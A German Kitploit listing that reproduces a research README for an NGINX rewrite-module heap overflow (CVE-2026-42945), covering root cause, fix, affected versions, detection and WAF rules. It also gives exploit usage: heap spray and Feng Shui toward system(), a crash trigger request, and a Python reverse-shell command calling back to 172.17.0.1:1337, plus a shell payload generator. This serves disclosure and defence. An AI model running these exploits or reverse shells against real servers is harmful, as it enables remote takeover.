Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-42945 — Vollständiges Forschungs-Repository zu CVE-2026-42945 mit Heap-Buffer-Overflow-Analyse, RCE-Exploit (Heap-Spray + Feng Shui), Erkennungsskripten und Patch-Anleitungen für die Schwachstelle im NGINX-Rewrite-Modul. | Kitploit
Tools/GitHubGitHub/quantumworld-dpdns-io/cve-2026-42945
SchwachstellenanalyseExploitationWebsicherheitFuzzingPenetrationstestsLernen & BildungIncident ResponseBinary-ExploitationLabs & Praxis
GitHubquantumworld-dpdns-io/cve-2026-42945

CVE-2026-42945

Vollständiges Forschungs-Repository zu CVE-2026-42945 mit Heap-Buffer-Overflow-Analyse, RCE-Exploit (Heap-Spray + Feng Shui), Erkennungsskripten und Patch-Anleitungen für die Schwachstelle im NGINX-Rewrite-Modul.

Repository anzeigen
vor 3 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
Screenshot 2026-05-28 at 4 09 53 PM

CVE-2026-42945 — NGINX Rift

Heap-Pufferüberlauf in NGINX ngx_http_rewrite_module

MetrikWert
CVSS v4.09.2 (Kritisch)
CVSS v3.18.1 (Hoch) — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE122 — Heap-basierter Pufferüberlauf
EingeführtJuni 2008 — v0.6.27
EntdecktApril 2026 — DepthFirst Research
Behoben13. Mai 2026 — v1.30.1, v1.31.0
CVE veröffentlicht21. Mai 2026
Lebensdauer~18 Jahre (unerkannt)
Fix-Commit524977e7c534e87e5b55739fa74601c9f1102686

Inhaltsverzeichnis

  1. Zusammenfassung der Schwachstelle
  2. Root-Cause-Analyse
  3. Ausnutzungsmechanik
  4. Analyse des Fixes
  5. Betroffene Versionen
  6. Erkennung
  7. Gegenmaßnahmen
  8. Projektstruktur
  9. Schnellstart
  10. Build & verwundbare Version ausführen
  11. Den Overflow auslösen
  12. RCE-Exploit
  13. Reverse-Shell-Verifizierung
  14. Patchen
  15. Testen
  16. Fuzzing
  17. CI-Pipeline
  18. Dokumentationsindex
  19. Projektstatistik
  20. Referenzen

1. Zusammenfassung der Schwachstelle

Ein nicht authentifizierter, entfernter Angreifer kann einen deterministischen Heap-Pufferüberlauf in NGINX-Worker-Prozessen auslösen, indem er eine konstruierte HTTP-Anfrage an einen Server mit einem bestimmten Konfigurationsmuster aus rewrite + set/if/rewrite sendet. Der Überlauf beschädigt Heap-Metadaten (ngx_pool_cleanup_t-Zeiger) und ermöglicht so Remote Code Execution (RCE) durch Heap-Spray- und Feng-Shui-Techniken.

Auslösemuster```nginx

server { listen 19321;

root@kitploit:~
location ~ ^/api/(.*)$ {
    rewrite ^/api/(.*)$ /internal?migrated=true;
    set $original_endpoint $1;
}

}

root@kitploit:~
**Wichtigste Anforderungen:**
- Eine `rewrite`-Direktive, deren Ersetzung `?` (Query-String-Trennzeichen) enthält
- Eine anschließende `set`-, `if`- oder `rewrite`-Direktive, die auf einen **unbenannten PCRE-Capture** (`$1`, `$2`, usw.) verweist
- Das `?` in der Rewrite-Ersetzung löst `ngx_http_script_start_args_code` aus, das `e->is_args = 1` setzt

### Was ein Angreifer erreichen kann

| Fähigkeit | Beschreibung |
|-----------|-------------|
| **Denial of Service** | Deterministisches Abstürzenlassen von Worker-Prozessen, was Respawn-Schleifen verursacht (funktioniert unabhängig von ASLR) |
| **Remote Code Execution** | Bei deaktiviertem ASLR (oder umgangen per Partiellem Überschreiben) vollständige RCE als der Nginx-Benutzer erreichen |
| **Datendiebstahl** | Durch Memory-Read-Primitives sensible Daten aus dem Worker-Heap extrahieren |
| **Persistenz** | Hintertüren per Codeausführung im Speicher des Worker-Prozesses platzieren |

---

## 2. Root-Cause-Analyse

### Die Zwei-Pass-Script-Engine

Die `ngx_http_rewrite_module` von NGINX verwendet eine **Zwei-Pass-Script-Engine** in `src/http/ngx_http_script.c`:

1. **Längen-Pass** (`ngx_http_script_run`): iteriert über alle Script-Codes, um die benötigte Gesamtpuffergröße zu berechnen. Schreibt Längen nach `le.ip` und `le.pos`.
2. **Kopier-Pass** (`ngx_http_script_copy_len`/`_code`): iteriert erneut und schreibt die tatsächlichen Bytes in den vorab zugewiesenen Puffer an `e->ip` und `e->pos`.

Jeder Script-Code hat zwei Handler: einen für jeden Pass. Zum Beispiel:
- `ngx_http_script_copy_len` → `ngx_http_script_copy_code`
- `ngx_http_script_start_args_len` → `ngx_http_script_start_args_code`

### Das `is_args`-Flag

Das Flag `e->is_args` auf der **Engine-Struktur** (`ngx_http_script_engine_t`) steuert, wie der Kopier-Pass bestimmte Zeichen behandelt:```c
typedef struct {
    u_char                  *ip;
    u_char                  *pos;
    ngx_http_variable_value_t *sp;
    ngx_str_t               buf;
    int                     flushed;
    unsigned                is_args:1;    // <-- THE BUG
    unsigned                ncaptures:1;
    ngx_uint_t              captures_size;
    // ...
} ngx_http_script_engine_t;

Wenn e->is_args = 1 ist, ruft der Kopiercode für die $N-Capture-Referenzen ngx_escape_uri() mit NGX_ESCAPE_ARGS auf, was Folgendes expandiert:

  • + → %2B (1 Byte → 3 Bytes, +200%)
  • % → %25 (1 Byte → 3 Bytes, +200%)
  • & → %26 (1 Byte → 3 Bytes, +200%)

Der Fehler: Flag-Leck über Durchläufe

Der Ausführungsablauf für das anfällige Muster:``` rewrite ^/api/(.*)$ /internal?migrated=true;

root@kitploit:~
1. Während der **Rewrite-Auswertung** stößt die Engine in der Ersetzungszeichenfolge auf `?`, was `ngx_http_script_start_args_code` auslöst und `e->is_args = 1` setzt.
2. Das Rewrite ändert die Request-URI und fährt dann mit der nächsten Direktive fort.
3. **`e->is_args` wird NIE GELÖSCHT**.

Dann:```
set $original_endpoint $1;
  1. Eine neue Sub-Engine (le) wird für den Längen-Pass erstellt: ```c ngx_memzero(&le, sizeof(ngx_http_script_engine_t));
    root@kitploit:~

Dies setzt le.is_args = 0 korrekt auf null, sodass der Längen-Pass die rohe, nicht maskierte Erfassungslänge zurückgibt.

  1. Der Kopier-Pass verwendet die Haupt-Engine e wieder, die aus Schritt 1 noch e->is_args = 1 aufweist. Der Kopier-Pass wendet URI-Escaping an und erweitert jedes maskierbare Zeichen von 1 Byte auf 3 Bytes innerhalb eines Puffers, der für die rohe Länge dimensioniert wurde — Heap-Überlauf.

Visuelle Schritt-für-Schritt-Erläuterung```

Pass 1 (Length — sub-engine le): le.is_args = 0 capture $1 = "A+++++B" → length = 7

Buffer allocated: 7 bytes

Pass 2 (Copy — main engine e): e.is_args = 1 ← LEAKED from rewrite capture $1 = "A+++++B" ngx_escape_uri("A+++++B", NGX_ESCAPE_ARGS): A → A (1 byte) + → %2B (3 bytes) ← EXPANSION + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) + → %2B (3 bytes) B → B (1 byte) total written: 17 bytes buffer size: 7 bytes OVERFLOW: 10 bytes

root@kitploit:~
Das Expansionsverhältnis ist `7 + (n_escapable * 2)`, wobei `n_escapable` die Anzahl von `+`, `%` und `&` im Capture ist.

---

## 3. Exploit-Mechanik

### Übersicht

| Schritt | Technik | Beschreibung |
|------|-----------|-------------|
| 1 | Overflow | Sende eine präparierte URI mit `+`-Padding, um den Heap-Puffer zum Überlaufen zu bringen |
| 2 | Heap Spray | Sende große Bodies per POST an `/spray`, um den Heap mit kontrollierten Daten zu füllen |
| 3 | Feng Shui | Ordne Allokationen so an, dass das Overflow-Ziel (`ngx_pool_cleanup_t`) benachbart ist |
| 4 | Corrupt Handler | Overflow überschreibt `ngx_pool_cleanup_t.handler` mit der Adresse von `system()` |
| 5 | Trigger Cleanup | Warte auf die Zerstörung des Pools → `system(cmd)` führt den Angreiferbefehl aus |
| 6 | Reverse Shell | Verkette mit Reverse-Shell-Payload für interaktiven Zugriff |

### Cross-Request Feng Shui

**Single-request Feng Shui schlägt fehl**, weil der Overflow die Metadaten des Pools (`->d.next`, `->d.failed`) beschädigt, bevor er den `cleanup`-Zeiger erreicht. Wenn der Pool am Ende der Anfrage zerstört wird, verursachen die beschädigten Metadaten einen **Absturz, bevor `system()` aufgerufen wird**.

Stattdessen nutzt der Exploit **Cross-Request Feng Shui**:
1. **Request 1 (Spray)**: Sende einen großen Body per POST an `/spray`. Das Backend (`server.py`) hält die Antwort mit dem `X-Delay`-Header fest, hält die Verbindung offen und bewahrt die Heap-Allokation. Der Spray füllt den Heap mit gefälschten `ngx_pool_cleanup_t`-Blöcken.
2. **Request 2 (Overflow)**: Sende die Overflow-URI. Der Overflow beschädigt nur den `cleanup`-Zeiger (nicht die Pool-Metadaten) und zeigt ihn auf den gesprayten gefälschten Block.
3. **Pool-Zerstörung**: Wenn die Spray-Antwort abgeschlossen ist (Verzögerung abläuft), wandert die Cleanup-Kette des Pools zum gefälschten Block und ruft `system(cmd)` auf.

### Adressanforderungen

| Symbol | Wert (Docker, ASLR deaktiviert) | Beschreibung |
|--------|--------------------------|-------------|
| `HEAP_BASE` | `0x555555659000` | Basis des nginx-Heaps |
| `system@libc` | `0x7ffff6f6e420` | `system()` in glibc |
| `NGX_CYCLES_POOL` | `0x5555556a4040` | Zeiger auf den Cycles-Pool |
| Fake-Cleanup-Adresse | `0x5555556a4030` | Zieladresse des Sprays |

### ASLR-Bypass

Ohne ASLR zu deaktivieren, funktioniert der **DoS** (Absturz) weiterhin deterministisch. Für RCE bei aktiviertem ASLR gibt es zwei Ansätze:

1. **Partielles Überschreiben**: Verwende einen 1-Byte- oder 2-Byte-Overwrite, um einen Zeiger innerhalb derselben Seite zu verschieben, und brute-force die restlichen Nibbles (16–256 Versuche).
2. **Informationsleck**: Lies `/proc/self/maps` oder nutze die Speicheranalyse von `log_parser.py`, um das Layout zu bestimmen.

---

## 4. Analyse des Fixes

### Der offizielle Fix

**Commit**: `524977e7c534e87e5b55739fa74601c9f1102686`  
**Datei**: `src/http/ngx_http_script.c`  
**Zeile**: ~1205 (in `ngx_http_script_regex_end_code`)```diff
 void
 ngx_http_script_regex_end_code(ngx_http_script_engine_t *e)
 {
     ngx_http_script_regex_code_t *code;

     code = (ngx_http_script_regex_code_t *) e->ip;

+    e->is_args = 0;    /* ← THE FIX */

     e->ip += sizeof(ngx_http_script_regex_code_t);
     // ...
 }

Warum diese Position korrekt ist

ngx_http_script_regex_end_code wird nach jeder Regex-Auswertung sowohl während des Längen- als auch des Kopierdurchlaufs ausgeführt. Das Zurücksetzen von e->is_args = 0 an dieser Stelle stellt Folgendes sicher:

  • Das Flag wird unmittelbar nach der Ausführung des Regex-Codes gelöscht
  • Nachfolgende Skript-Codes (set, if, rewrite) starten mit einem sauberen is_args = 0
  • ngx_http_script_start_args_code kann is_args = 1 weiterhin setzen, wenn es ? in einer Ersetzungszeichenfolge vorfindet — der Fix bricht diese Funktionalität nicht

Defense-in-Depth-Patch

patches/0002-hardening-bounds-check.patch fügt eine Grenzprüfung in ngx_http_script_copy_capture_code hinzu:```c if (e->pos + len > e->buf.data + e->buf.len) { return; /* gracefully truncate instead of overflowing */ }

root@kitploit:~
### Backport-Patches

| Patch | Nginx-Versionen |
|-------|---------------|
| `patches/0001-fix-is_args.patch` | 1.22.x, 1.24.x, 1.26.x, 1.30.0 |
| `patches/backport-1.22.x.patch` | 1.22.0–1.22.1 |
| `patches/backport-1.24.x.patch` | 1.24.0–1.24.1 |
| `patches/backport-1.26.x.patch` | 1.26.0–1.26.1 |

---

## 5. Betroffene Versionen

### NGINX Open Source

| Bereich | Status |
|-------|--------|
| **0.1.0 – 0.6.26** | Nicht betroffen (Rewrite-Modul stammt aus der Zeit vor unbenannten Captures) |
| **0.6.27 – 1.30.0** | **Verwundbar** (18-Jahres-Zeitraum) |
| **1.30.1** | Erste behobene Version |
| **1.31.0+** | Behoben (Mainline) |

### NGINX Plus

| Release | Betroffen | Behoben |
|---------|----------|-------|
| R32 | R32–R32 P5 | R32 P6 |
| R33 | R33–R33 P5 | R33 P6 |
| R34 | R34–R34 P4 | R34 P5 |
| R35 | R35–R35 P1 | R35 P2 |
| R36 | R36–R36 P3 | R36 P4 |

### NGINX-Ökosystem

| Produkt | Betroffen | Status |
|---------|----------|--------|
| NGINX Instance Manager | 2.16.0–2.21.1 | Sicherheitshinweis ausstehend |
| F5 NGINX WAF | 5.9.0–5.12.1 | Sicherheitshinweis ausstehend |
| NGINX Ingress Controller | 3.5.0–3.7.2, 4.0.0–4.0.1, 5.0.0–5.4.1 | Sicherheitshinweis ausstehend |
| NGINX Gateway Fabric | 1.3.0–1.6.2, 2.0.0–2.5.1 | Sicherheitshinweis ausstehend |
| NGINX Service Mesh | 1.6.0–1.6.2, 2.0.0–2.1.0 | Sicherheitshinweis ausstehend |
| NGINX Agent | 2.0.0–2.35.0 | Sicherheitshinweis ausstehend |

---

## 6. Erkennung

### Versionsprüfung```bash
bash detection/detect_vuln.sh

Dieses Skript prüft:

  • NGINX-Version gegen den anfälligen Bereich (0.6.27–1.30.0)
  • Konfigurationsdateien auf das anfällige Muster rewrite + ? + capture

Konfigurations-Scanner```bash

Scan a single config

python3 exploit/config_scanner.py /etc/nginx/nginx.conf

Scan all configs in a directory

python3 exploit/config_scanner.py /etc/nginx/

Fix vulnerable patterns (convert to named captures)

python3 exploit/config_scanner.py /etc/nginx/nginx.conf --fix

root@kitploit:~
### Container-Scan```bash
python3 detection/container_scan.py

Scannt lokale Docker-Images nach NGINX-Labels/Umgebungsvariablen, die auf verwundbare Versionen hinweisen.

WAF-Regeln

RegelsatzDateiAbdeckung
ModSecuritydetection/modsecurity_rule.confBlockiert 100+ aufeinanderfolgende +, 50+ kodierte maskierbare Zeichen, drosselt Spray-Endpunkte
Suricata/Snortdetection/suricata_rule.rulesErkennt zu viele + in GET-URIs, Fluten kodierter Zeichen, POST-Spray auf /spray, Crash-Loop-DoS
Falcodetection/falco_rule.yamlLaufzeit: SIGSEGV bei nginx worker, Crash-Loop (3+ in 60s), Heap-Spray-POST-Erkennung

Log-Analyse```bash

Parse error log for crash and exploit indicators

python3 exploit/log_parser.py /var/log/nginx/error.log

Watch mode (tail -f equivalent)

python3 exploit/log_parser.py /var/log/nginx/error.log --watch

root@kitploit:~
---

## 7. Gegenmaßnahmen

### Sofortmaßnahme (ohne Codeänderung)

Ersetzen Sie **unbenannte Captures** durch **benannte Captures** in allen `rewrite`-Direktiven:```nginx
# VULNERABLE — unnamed capture $1
rewrite ^/users/([0-9]+)/profile/(.*)$ /profile.php?id=$1&tab=$2 last;

# FIXED — named captures
rewrite ^/users/(?<user_id>[0-9]+)/profile/(?<section>.*)$ /profile.php?id=$user_id&tab=$section last;

Benannte Captures durchlaufen nicht ngx_escape_uri(..., NGX_ESCAPE_ARGS), sodass selbst mit e->is_args = 1 keine Expansion erfolgt und kein Überlauf auftritt.

Konfigurations-Härtung```bash

bash detection/harden_nginx.sh /etc/nginx/nginx.conf

root@kitploit:~
Wendet diese Härtungsmaßnahmen an:
- ASLR-Verifizierung und erzwungene Aktivierung
- Isolierung von Worker-Prozessen
- Einschränkung von Core Dumps
- SSL/TLS-Härtung
- Ratenbegrenzung
- CSP-Header

### ASLR-Prüfung```bash
bash detection/check_aslr.sh

8. Projektstruktur```

CVE-2026-42945/ ├── .github/workflows/ci.yml GitHub Actions CI (single CI) ├── .gitignore ├── README.md This file ├── Makefile Build automation targets ├── COMMIT_LOG.md 1000+ commit record │ ├── docker/ Docker environment │ ├── Dockerfile Vulnerable NGINX builder (commit 98fc3bb78) │ ├── Dockerfile.patched Multi-stage vuln/patched builder │ ├── Dockerfile.asan ASAN-enabled vulnerable NGINX │ ├── docker-compose.yml Service orchestration │ ├── nginx.conf Vulnerable rewrite configuration │ ├── entrypoint.sh Container entrypoint (setarch -R for ASLR off) │ └── server.py Backend HTTP server (handles spray retention) │ ├── exploit/ Attack & exploitation tools │ ├── trigger.py Overflow trigger & health check │ ├── exploit.py Full RCE: heap spray + Feng Shui │ ├── h2_trigger.py HTTP/2 (h2c) overflow variant │ ├── escape_calc.py Character expansion ratio calculator │ ├── compare_lengths.py Raw vs escaped length comparison │ ├── heap_layout.py Parse /proc/PID/maps for heap/libc base │ ├── find_safe_addrs.py Search for URI-safe address bytes │ ├── leak_aslr.py ASLR partial-overwrite brute force │ ├── monitor_worker.py Worker PID crash detection & respawn tracking │ ├── log_parser.py Error log crash/exploit pattern parser │ └── config_scanner.py Config file pattern scanner & fixer │ ├── shell/ Reverse shell verification │ ├── shell_listener.py Interactive/verify-mode TCP listener │ ├── shell_payloads.py Payload generator (10 shell types) │ ├── shell_verify.py End-to-end automated verification │ ├── shell_manager.py Lifecycle orchestrator │ └── shell_test_runner.sh Batch runner across all shell types │ ├── patches/ Fix patches & backports │ ├── 0001-fix-is_args.patch Upstream one-line fix │ ├── 0002-hardening-bounds-check.patch Defense-in-depth │ ├── backport-1.22.x.patch Backport for 1.22.x │ ├── backport-1.24.x.patch Backport for 1.24.x │ └── backport-1.26.x.patch Backport for 1.26.x │ ├── configs/ Nginx configuration samples │ ├── vulnerable.conf 3 vulnerable patterns │ ├── safe.conf 5 safe patterns │ ├── named_capture.conf Mitigated named-capture pattern │ └── advanced/ │ ├── vulnerable_advanced.conf rewrite+if, rewrite+rewrite, flags │ ├── vulnerable_ingress.conf ingress-nginx rewrite-target patterns │ └── vulnerable_gateway.conf nginx-gateway fabric patterns │ ├── detection/ WAF rules & detection/hardening │ ├── modsecurity_rule.conf ModSecurity CRS rules │ ├── suricata_rule.rules Suricata/Snort signatures │ ├── falco_rule.yaml Falco runtime rules │ ├── detect_vuln.sh Version & config pattern detection │ ├── check_aslr.sh ASLR status verification │ ├── container_scan.py Docker image version scanner │ └── harden_nginx.sh Security hardening script │ ├── fuzz/ Fuzzing harness │ ├── ngx_http_script_fuzz.c libFuzzer harness (~200 lines) │ ├── fuzz_build.sh Build script (clang + libFuzzer + ASAN) │ └── corpus/ │ └── README.md Seed corpus documentation │ ├── test/ Test suite │ ├── test_exploit.py Python unittest (server, config, fix) │ └── run_tests.sh Shell test runner │ ├── docs/ Technical documentation │ ├── root-cause-analysis.md Deep dive into the bug │ ├── exploitation-guide.md Step-by-step exploitation │ ├── detection-guide.md Detection & monitoring │ ├── mitigation-guide.md Mitigation strategies │ ├── FAQ.md Frequently asked questions │ ├── timeline.md Vulnerability timeline │ ├── operational-guidance.md Operations & incident response │ ├── case-study.md Real-world attack scenario │ └── presentation-slides.md Conference presentation │ ├── tools/ Utility & analysis scripts │ ├── apply_fix.sh Patch application & rollback │ ├── backport_check.py Fix-ancestry & source-code checker │ ├── coredump_analyzer.sh GDB core dump analysis │ ├── performance_benchmark.sh Throughput/latency (ab, wrk, siege) │ ├── memory_analysis.sh Valgrind massif/callgrind, pmap │ ├── trace_script_engine.sh GDB script-engine tracing │ ├── regression_matrix.sh Multi-version regression testing │ ├── test_all_configs.sh Exhaustive config pattern testing │ ├── afl_runner.sh AFL++ fuzzer launcher │ └── verify_project.sh Project integrity verification │ └── pipelines/ Pipeline orchestrators ├── run_all.sh Bash pipeline (6 phases) └── run_all.ps1 PowerShell pipeline

root@kitploit:~
---

## 9. Schnellstart```bash
# 1. Build and run vulnerable NGINX
make build && make run
# Or:
cd docker && docker compose up

# 2. Health check
curl http://localhost:19321/
# → {"status":"ok","backend":"direct"}

# 3. Trigger crash (DoS)
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969
# → Worker crashed (expected) ✓

# 4. Verify recovery
python3 exploit/trigger.py --host localhost --port 19321 --check-alive
# → Server is alive ✓

# 5. Full RCE (ASLR disabled in container)
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

# 6. Verify RCE
docker compose -f docker/docker-compose.yml exec nginx cat /tmp/pwned

# 7. Check your configs
python3 exploit/config_scanner.py configs/vulnerable.conf

10. Verwundbare Umgebung erstellen und ausführen

Docker (Empfohlen)```bash

Using Makefile

make build # docker compose -f docker/docker-compose.yml build make run # docker compose -f docker/docker-compose.yml up

Or directly

cd docker && docker compose up --build

root@kitploit:~
Die Docker-Umgebung:
- Baut NGINX aus dem Quellcode bei Commit `98fc3bb78` (letzter anfälliger Commit vor dem Fix)
- Enthält GDB, valgrind, `util-linux` (für `setarch -R` zum Deaktivieren von ASLR)
- Gibt Ports **19321** (anfälliges nginx), **19322** (sekundär), **19323** (Python-Backend) frei
- Der Entrypoint verwendet `setarch x86_64 -R`, um ASLR für ein deterministisches Exploit-Adresslayout zu deaktivieren
- Gewährt die Capability `SYS_PTRACE` und `seccomp=unconfined` zum Debuggen

### Nur die anfällige Version```bash
make vuln-container
# Builds: docker build -t nginx-rift-vuln \
#   -f docker/Dockerfile.patched --build-arg NGINX_TYPE=vulnerable docker/

Gepatchter Container```bash

make fix-container

Builds: docker build -t nginx-rift-fixed \

-f docker/Dockerfile.patched --build-arg NGINX_TYPE=patched docker/

root@kitploit:~
### ASAN Container```bash
make asan-container
# Builds: docker build -t nginx-rift-asan -f docker/Dockerfile.asan docker/

Manueller Build```bash

git clone https://github.com/nginx/nginx.git /tmp/nginx-src cd /tmp/nginx-src && git checkout 98fc3bb78 ./auto/configure --with-cc-opt='-g -O2 -fno-omit-frame-pointer' make -j$(nproc) sudo cp objs/nginx /usr/local/sbin/nginx

root@kitploit:~
---

## 11. Auslösen des Überlaufs

### Grundlegender Absturz (DoS)```bash
python3 exploit/trigger.py --host localhost --port 19321 --plus-count 969

Dies sendet:``` GET /api/AAAA...[349 As]+++++...[969 +s] HTTP/1.1

root@kitploit:~
Die `+`-Zeichen im Capture `$1` werden beim Kopierdurchgang 3× erweitert, während der Puffer für die Rohlänge bemessen war, wodurch der Heap überläuft.

### Erwartete Ausgabe```
[+] Triggering overflow with 969 plus signs...
[+] Connection established
[+] Payload sent, waiting for crash...
[!] Connection reset — worker crashed as expected
[+] Server is alive — worker respawned

Finden des minimalen Überlaufs```bash

python3 exploit/escape_calc.py --find-min 64

root@kitploit:~
Berechnet die minimale Anzahl von `+`-Zeichen, die benötigt wird, um eine Zielanzahl von Bytes zu überlaufen (nützlich beim Ausnutzen bestimmter Heap-Strukturen).

### Zeichenerweiterung```bash
python3 exploit/escape_calc.py --prefix 349 --plus 969

Gibt das Expansionsverhältnis für eine gegebene Präfixlänge und Anzahl escapbarer Zeichen aus.


12. RCE Exploit

Übersicht

Der Exploit implementiert Cross-Request-Feng-Shui, um eine zuverlässige Codeausführung zu erreichen:``` Time │ │ ┌─────────────────────┐ │ │ Request 1: Spray │── POST /spray with large body │ │ Holds connection │ Backend delays response via X-Delay │ └─────────┬───────────┘ │ │ Allocations persist on heap │ ┌─────────┴───────────┐ │ │ Request 2: Overflow │── GET /api/A...+++... │ │ Corrupts cleanup ptr │ Overwrites ngx_pool_cleanup_t.handler │ └─────────┬───────────┘ │ │ │ ┌─────────┴───────────┐ │ │ Pool Destruction │── Spray response completes │ │ → system("cmd") │ Cleanup chain walks to fake block │ └─────────────────────┘ └──────────────────────────────────────────►

root@kitploit:~
### Grundlegende Verwendung```bash
# Execute a command on the target
python3 exploit/exploit.py --host localhost --port 19321 \
    --cmd "whoami > /tmp/pwned"

Reverse Shell```bash

python3 exploit/exploit.py --host localhost --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"
--tries 3

root@kitploit:~
### Erweiterte Optionen

| Flag | Standard | Beschreibung |
|------|----------|--------------|
| `--host` | `127.0.0.1` | Ziel-Host |
| `--port` | `19321` | Ziel-Port |
| `--cmd` | — | Auszuführender Befehl (erforderlich, außer bei `--shell`) |
| `--shell` | — | Interaktiven Shell-Modus verwenden |
| `--tries` | `3` | Anzahl der Exploit-Versuche |
| `--delay` | `2.0` | Verzögerung zwischen Spray und Overflow (Sekunden) |
| `--payload` | — | Pfad zur benutzerdefinierten Payload-Datei |
| `--debug` | — | Ausführliche Debug-Ausgabe aktivieren |

### Heap-Layout-Analyse```bash
python3 exploit/heap_layout.py

Erfordert eine laufende nginx-Worker-PID. Parst /proc/PID/maps, um Folgendes zu finden:

  • Heap-Basisadresse
  • libc-Basisadresse
  • Adresse der system()-Funktion

Sicherer Adressfinder```bash

python3 exploit/find_safe_addrs.py --heap-base 0x555555659000 --count 5

root@kitploit:~
Findet Heap-Adressen, deren Bytes keine escapbaren Zeichen (`+`, `%`, `&`, `?`, etc.) enthalten, für die Verwendung beim Aufbau von Exploit-Payloads.

---

## 13. Reverse-Shell-Verifizierung

### Architektur```
shell_manager.py
  │
  ├── shell_payloads.py    → Generate payload strings for 10 shell types
  ├── shell_listener.py    → Start TCP listener (interactive + verify mode)
  ├── exploit/exploit.py   → Send exploit with payload to target
  └── shell_verify.py      → Wait for connection, run commands, verify output

Unterstützte Shell-Typen

TypBinärdateiAnmerkungen
bash/dev/tcpIn bash integriertes TCP
pythonpython3 -cAm zuverlässigsten, immer verfügbar
ncncNetcat
perlperl -e
rubyruby -rsocket -e
phpphp -r
socatsocat
telnettelnet
opensslopenssl s_clientErfordert Zertifikat
powershellpowershellWindows-Ziele

Interaktiver Listener```bash

Terminal 1: Start interactive listener

python3 shell/shell_listener.py --port 1337

Terminal 2: Run exploit with reverse shell

python3 exploit/exploit.py --host 127.0.0.1 --port 19321
--cmd "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.17.0.1",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'"

root@kitploit:~
### Automatisierte Verifizierung```bash
# Single-shot automated verify
python3 shell/shell_verify.py --target 127.0.0.1 --port 19321 \
    --shell-type python --listen-port 1337 --verify-cmds "id,whoami,hostname"

# Full pipeline across all shell types
bash shell/shell_test_runner.sh

# Orchestrated lifecycle with one command
python3 shell/shell_manager.py --target-host 127.0.0.1 --target-port 19321 \
    --shell-type python --listen-port 1337 --callback-ip 172.17.0.1

Payloads generieren```bash

python3 shell/shell_payloads.py --type python --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --type all --host 172.17.0.1 --port 1337 python3 shell/shell_payloads.py --list

root@kitploit:~
---

## 14. Patchen

### Den Fix anwenden```bash
# To nginx source tree
bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch

# To current nginx source
patch -p1 < patches/0001-fix-is_args.patch

Fix + Härtung anwenden```bash

bash tools/apply_fix.sh /path/to/nginx-src patches/0001-fix-is_args.patch bash tools/apply_fix.sh /path/to/nginx-src patches/0002-hardening-bounds-check.patch

root@kitploit:~
### Backport anwenden```bash
bash tools/apply_fix.sh /path/to/nginx-1.22.x patches/backport-1.22.x.patch

Den Fix überprüfen```bash

Check that the fix contains the key line

grep 'is_args = 0' patches/0001-fix-is_args.patch

Dry-run apply

patch -p1 --dry-run -i patches/0001-fix-is_args.patch

root@kitploit:~
---

## 15. Testen

### Unit-Tests```bash
# Via Makefile
make test

# Directly
python3 -m pytest test/ -v
# or
python3 -m unittest discover -s test -v

Testsuite (Shell)```bash

bash test/run_tests.sh

root@kitploit:~
Läufe:
1. Unit-Tests (pytest oder unittest)
2. Trigger-/Überlauftest (falls der Server läuft)
3. Konfigurationsscanner gegen anfällige und sichere Konfigurationen
4. Patch-Trockenlauf-Validierung

### Regressionsmatrix```bash
bash tools/regression_matrix.sh

Testet mehrere NGINX-Versionen (1.22.0, 1.24.0, 1.26.0, 1.30.0, 1.30.1) gegen verwundbare und sichere Konfigurationen und überprüft die Erwartungen bezüglich Absturz/kein Absturz.

Konfigurationsmatrix```bash

bash tools/test_all_configs.sh

root@kitploit:~
Testet alle Konfigurationsmuster (basic, advanced, ingress, gateway) mit Overflow-Auslösern.

---

## 16. Fuzzing

### libFuzzer-Harness

Der Fuzzer (`fuzz/ngx_http_script_fuzz.c`) simuliert die Zwei-Pass-Script-Engine:
1. Analysiert die Eingabe als eine Sequenz von Script-Codes
2. Führt den Längendurchlauf aus
3. Führt den Kopierdurchlauf mit `e->is_args = 1` aus
4. Erkennt Buffer-Overflows mittels ASAN oder Größenabweichungen```bash
cd fuzz && bash fuzz_build.sh
./build/ngx_script_fuzz corpus/

AFL++```bash

bash tools/afl_runner.sh

root@kitploit:~
Startet AFL++ mit ASAN, konfigurierbarem Timeout und Speicherlimits gegen den Fuzzing-Harness.

### Seed-Korpus

Das Verzeichnis `fuzz/corpus/` enthält Seed-Eingaben, die das verwundbare Muster reproduzieren, darunter:
- Einfacher Overflow-Trigger
- Named Capture (sollte nicht überlaufen)
- Randfälle (leere Capture-Gruppe, maximale Größe usw.)

---

## 17. CI-Pipeline

### GitHub Actions

Das Projekt verwendet einen **einzigen GitHub Actions CI**-Workflow (`.github/workflows/ci.yml`) mit diesen Jobs:

| Job | Was er tut |
|-----|-------------|
| `lint` | ShellCheck, Python-Syntaxprüfung |
| `scan-configs` | Führt config_scanner.py gegen alle Konfigurationsbeispiele aus |
| `fuzz-build` | Baut den libFuzzer-Harness |
| `test` | Führt die pytest/unittest-Suite aus |
